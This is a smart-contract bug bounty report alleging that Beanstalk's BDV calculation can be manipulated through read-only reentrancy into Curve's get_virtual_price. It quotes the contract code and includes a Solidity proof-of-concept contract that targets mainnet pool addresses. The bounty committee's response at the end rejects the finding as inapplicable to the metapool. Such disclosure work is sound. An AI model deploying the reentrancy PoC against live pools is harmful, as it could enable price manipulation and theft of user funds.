BDVFacet is subject to Curve LP oracle manipulation via read-only reentrancy
Report ID
#20625
Target
Report type
Smart Contract
Impacts
Direct theft of any user funds, whether at-rest or in-motion, other than unclaimed yield
Has PoC?
Yes
Summary
The function getXP() in LibMetaCurve.sol call to get_virtual_price() which can return a deflated price when it is reentered after calling the Curve pool's remove_liquidity function. This allows an attacker to liquidate accounts that use the pool.
Bug Description
get_virtual_price gives the value of an LP token relative to the pool stable asset by dividing the total value of the pool by the totalSupply() of LP tokens:
@view
@external
def get_virtual_price() -> uint256:
"""
@notice The current virtual price of the pool LP token
@dev Useful for calculating profits
@return LP token virtual price normalized to 1e18
"""
D: uint256 = self.get_D(self._xp(self._stored_rates()), self._A())
# D is in the units similar to DAI (e.g. converted to precision 1e18)
# When balanced, D = n * x_u - total virtual value of the portfolio
token_supply: uint256 = ERC20(self.lp_token).totalSupply()
return D * PRECISION / token_supply
In the Curve pool function remove_liquidity when ETH is withdrawn, raw_call() allows the caller to reenter after the coin balances have been updated, but before the LP tokens are burned, so during the callback a reentrant call to get_virtual_price() will return a deflated value.
@external
@nonreentrant('lock')
def remove_liquidity(_amount: uint256, min_amounts: uint256[N_COINS]) -> uint256[N_COINS]:
"""
@notice Withdraw coins from the pool
@dev Withdrawal amounts are based on current deposit ratios
@param _amount Quantity of LP tokens to burn in the withdrawal
@param min_amounts Minimum amounts of underlying coins to receive
@return List of amounts of coins that were withdrawn
"""
_lp_token: address = self.lp_token
total_supply: uint256 = ERC20(_lp_token).totalSupply()
amounts: uint256[N_COINS] = empty(uint256[N_COINS])
for i in range(N_COINS):
_balance: uint256 = self.balances[i]
value: uint256 = _balance * _amount / total_supply
assert value >= min_amounts[i], "Withdrawal resulted in fewer coins than expected"
self.balances[i] = _balance - value
amounts[i] = value
if i == 0:
raw_call(msg.sender, b"", value=value)
else:
assert ERC20(self.coins[1]).transfer(msg.sender, value)
CurveToken(_lp_token).burnFrom(msg.sender, _amount) # Will raise if not enough
log RemoveLiquidity(msg.sender, amounts, empty(uint256[N_COINS]), total_supply - _amount)
return amounts
Impact
An attacker can exploit this by deploying a contract that does this:
get a large amount of ETH through a flashloan add_liquidity with the ETH borrowed Call remove_liquidity: during the callback raw_call() the Curve Oracle LP price is deflated due to large difference between Pool value and LP total supply.
function getXP(
uint256[2] memory balances,
uint256 padding
) internal view returns (uint256[2] memory) {
return LibCurve.getXP(
balances,
padding,
C.curve3Pool().get_virtual_price()
);
}
LibMetaCurve.getXP() returns wrong value which is then used in LibBeanMetaCurve.bdv()
/**
* @param amount An amount of the BEAN:3CRV LP token.
* @dev Calculates the current BDV of BEAN given the balances in the BEAN:3CRV
* Metapool. NOTE: assumes that `balances[0]` is BEAN.
*/
function bdv(uint256 amount) internal view returns (uint256) {
// By using previous balances and the virtual price, we protect against flash loan
uint256[2] memory balances = IMeta3Curve(C.CURVE_BEAN_METAPOOL).get_previous_balances();
uint256 virtualPrice = C.curveMetapool().get_virtual_price();
uint256[2] memory xp = LibMetaCurve.getXP(balances, RATE_MULTIPLIER);
uint256 a = C.curveMetapool().A_precise();
uint256 D = LibCurve.getD(xp, a);
uint256 price = LibCurve.getPrice(xp, a, D, RATE_MULTIPLIER);
uint256 totalSupply = (D * PRECISION) / virtualPrice;
uint256 beanValue = balances[0].mul(amount).div(totalSupply);
uint256 curveValue = xp[1].mul(amount).div(totalSupply).div(price);
return beanValue.add(curveValue);
}
The value of price will be erroneous from the computation of getPrice('wrong xp')
uint256 price = LibCurve.getPrice(xp, a, D, RATE_MULTIPLIER);
and therefore the value of curveValue,
uint256 curveValue = xp[1].mul(amount).div(totalSupply).div(price);
and the return value of bdv()
return beanValue.add(curveValue);
Please note that the value of virtualPrice can also be manipulated as it also calls the function get_virtual_price() from curveMetapool().
uint256 virtualPrice = C.curveMetapool().get_virtual_price();
The returned value of LibBeanMetaCurve.bdv() is then used in BDVFacet.unripeLPToBDV()
function unripeLPToBDV(uint256 amount) public view returns (uint256) {
amount = LibUnripe.unripeToUnderlying(C.UNRIPE_LP, amount);
amount = LibBeanMetaCurve.bdv(amount);
return amount;
}
the return value is then used in the following BDVFacet.bdv() function:
function bdv(address token, uint256 amount)
external
view
returns (uint256)
{
if (token == C.BEAN) return beanToBDV(amount);
else if (token == C.CURVE_BEAN_METAPOOL) return curveToBDV(amount);
else if (token == C.UNRIPE_BEAN) return unripeBeanToBDV(amount);
else if (token == C.UNRIPE_LP) return unripeLPToBDV(amount);
revert("BDV: Token not whitelisted");
}
The LP token price is less than the actual price so collateral will be underestimated.
Attacker profits from the liquidations of any account that use this pool.
Execution after raw_call() in remove_liquidity resumes, LP tokens are burned
Repay loan + fee
Note that the function get_virtual_price() is also called in LibIncentive.getRates() twhich can also be manipulated.
function getRates() private view returns (uint256[2] memory) {
// Decimals will always be 6 because we can only mint beans
// 10**(36-decimals)
return [1e30, C.curve3Pool().get_virtual_price()];
}
Funds at Risk
A previous proposal in 'Beanstalk Bug Bounty' allows to estimate the value of funds at risk, expecially: '*There's no liquid market for the BEAN3CRV LP token itself, so the current BDV is used to estimate the value. **There's no liquid market for Unripe assets, so the Chop Penalty is used to estimate the value of these tokens.'
The funds at risk in this case is similar as the previous one (BIR-3): 'The number of Beans at risk roughly equates to the value that could have been removed from the BEAN:3CRV liquidity pool.'
I don't have the exact number of tokens as of today but I think the estimated value of funds at risk are in the same range (around $3m), I will let the team to do the math with the right numbers.
Risk Breakdown
Difficulty to Exploit: Medium Weakness: CVSS2 Score:
Recommendation
A solution implemented by many protocols is to add a call to a pool non reentrant function inside the oracle, like this:
function getXP(
uint256[2] memory balances,
uint256 padding
) internal view returns (uint256[2] memory) {
+ uint256[2] calldata amounts;
+ ICurvePool(token).remove_liquidity(0, amounts);
return LibCurve.getXP(
balances,
padding,
C.curve3Pool().get_virtual_price()
);
}
Note that the call to remove_liquidity will succeed but won't remove any liquidity if the pool is not reentered. It will revert if the pool is reentered because of the @nonreentrant('lock') decorator on remove_liquidity.
Example of implementation: https://github.com/makerdao/curve-lp-oracle/blob/master/src/CurveLPOracle.sol#L230
References
Proof of concept
Below a simulation showing how to achieve the Virtual Price Manipulation. Because of the price manipulation, an attacker can trigger unfair liquidations to his advantage.
// SPDX-License-Identifier: MIT
pragma solidity 0.8.10;
import {IERC20} from "@oz/token/ERC20/IERC20.sol";
import {SafeERC20} from "@oz/token/ERC20/utils/SafeERC20.sol";
import {ReentrancyGuard} from "@oz/security/ReentrancyGuard.sol";
interface IAccount {
function getAssets() external view returns (address[] memory);
function getBorrows() external view returns (address[] memory);
}
interface ICurvePool {
function add_liquidity(uint256[2] memory amounts, uint256 min_mint_amount) external payable returns (uint256);
function remove_liquidity(uint256 amount, uint256[2] memory min_amounts) external returns (uint256);
function get_virtual_price() external view returns (uint256);
}
interface ILP {
function balanceOf(address) external view returns (uint256);
}
contract VirtualPriceManip {
ICurvePool POOL = ICurvePool(0xbEbc44782C7dB0a1A60Cb6fe97d0b483032FF1C7);
ILP LP = ILP(0xDbcD16e622c95AcB2650b38eC799f76BFC557a0b);
ILP WSTETH = ILP(0x5979D7b546E38E414F7E9822514be443A4800529);
// Get WETH
// Check Virtual Price
// Deposit into Curve
// Check Virtual Price
// Withdraw, and ReEnter
// Check Virtual Price
// End, Check Virtual Price
event Debug(string name, uint256 value);
function fakeXPPrice() internal returns (uint256){
uint256 FAKE_WETH_PRICE = 1e18;
return FAKE_WETH_PRICE * POOL.get_virtual_price() / 1e18;
}
function startAttack() external payable {
uint256 amt = msg.value;
// 1. Check Virtual Price
emit Debug("Virtual Price 1", POOL.get_virtual_price());
emit Debug("fakeXPPrice 1", fakeXPPrice());
// 2. Curve deposit
uint256[2] memory dep = [amt, 0];
POOL.add_liquidity{value: amt}(dep, 1);
// 3. Check Virtual Price
emit Debug("Virtual Price 3", POOL.get_virtual_price());
emit Debug("fakeXPPrice 3", fakeXPPrice());
// 4. Curve Withdraw
// TODO: This is where profit maximization math will be necessary
uint256[2] memory dep2 = [uint256(0), uint256(0)];
POOL.remove_liquidity(LP.balanceOf(address(this)), dep2);
// 6. Check Virtual Price
emit Debug("Virtual Price 6", POOL.get_virtual_price());
emit Debug("fakeXPPrice 6", fakeXPPrice());
// TODO: Check loss in ETH and compare vs wstETH we now have
// Loss is there, but should be marginal / imbalance + fees
emit Debug("Msg.value", msg.value);
emit Debug("This Balance", address(this).balance);
emit Debug("Delta", msg.value - address(this).balance);
emit Debug("WstEthBalance", WSTETH.balanceOf(address(this)));
}
receive() external payable {
// 5. Reenter here
// Check Virtual Price
emit Debug("Virtual Price 5", POOL.get_virtual_price());
emit Debug("fakeXPPrice 5", fakeXPPrice());
}
}
BIC Response
The code snippet references this line in Curve: raw_call(msg.sender, b"", value=value)
. This logic is only used in certain Curve pools, none of which are the metapool template used for the BEAN3CRV pool: https://github.com/search?q=repo%3Acurvefi%2Fcurve-contract%20raw_call(msg.sender%2C%20b%22%22%2C%20value%3Dvalue)&type=code.
Given this, it does not appear to be possible for this vulnerability to surface in standard Curve metapools. The POC also does not call Beanstalk at any point.
Due to these reasons, we are re-closing the submission and no reward will be issued.